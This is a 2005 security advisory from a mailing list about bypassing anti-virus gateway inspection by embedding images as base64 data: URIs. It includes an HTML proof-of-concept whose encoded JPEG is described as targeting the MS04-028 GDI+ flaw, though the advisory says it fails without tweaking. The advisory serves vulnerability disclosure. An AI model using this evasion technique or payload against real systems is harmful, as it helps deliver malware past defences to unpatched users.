[NEWS] Multi-Vendor AntiVirus Gateway Image Inspection Bypass (data:)

From: SecuriTeam (support_at_securiteam.com)
Date: 01/11/05

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    To: list@securiteam.com
Date: 11 Jan 2005 13:06:27 +0200

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      Multi-Vendor AntiVirus Gateway Image Inspection Bypass (data:)
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability has been discovered which allows a remote attacker to
    bypass anti-virus (as well other security technologies such as IDS and
    IPS) inspection of HTTP image content. By leveraging techniques described
    in RFC 2397 for base64 encoding image content within the URL scheme. A
    remote attacker may encode a malicious image within the body of an HTML
    formatted document to circumvent content inspection.

    DETAILS

    The source code at the URL
    <http://www.securiteam.com/exploits/5EP0M0KE0W.html>
    http://www.securiteam.com/exploits/5EP0M0KE0W.html will by default create
    a JPEG image that will attempt (and fail without tweaking) to exploit the
    Microsoft MS04-028 GDI+ vulnerability. The image itself is detected by all
    AV gateway engines tested (Trend, Sophos and McAfee), however, when the
    same image is base64 encoded using the technique described in RFC 2397
    (documented below), inspectionis not performed and is delivered rendered
    by the client.

    While Microsoft Internet Explorer does not support the RFC 2397 URL
    scheme; Firefox, Safari, Mozilla and Opera do and will render the data and
    thus successfully execute the payload if the necessary OS and/or
    application patches have not been applied.

    Exploit:
    < html>
    < body>
    < img
    src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//
    gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
    /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBwkJ
    CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/b
    AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
    MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA
    AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR
    oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl
    ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbH
    yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA
    AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU
    QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNk
    ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF
    xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD//
    Z">
    </body>
    </html>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dbounds@intrusense.com>
    Darren Bounds.

    ========================================

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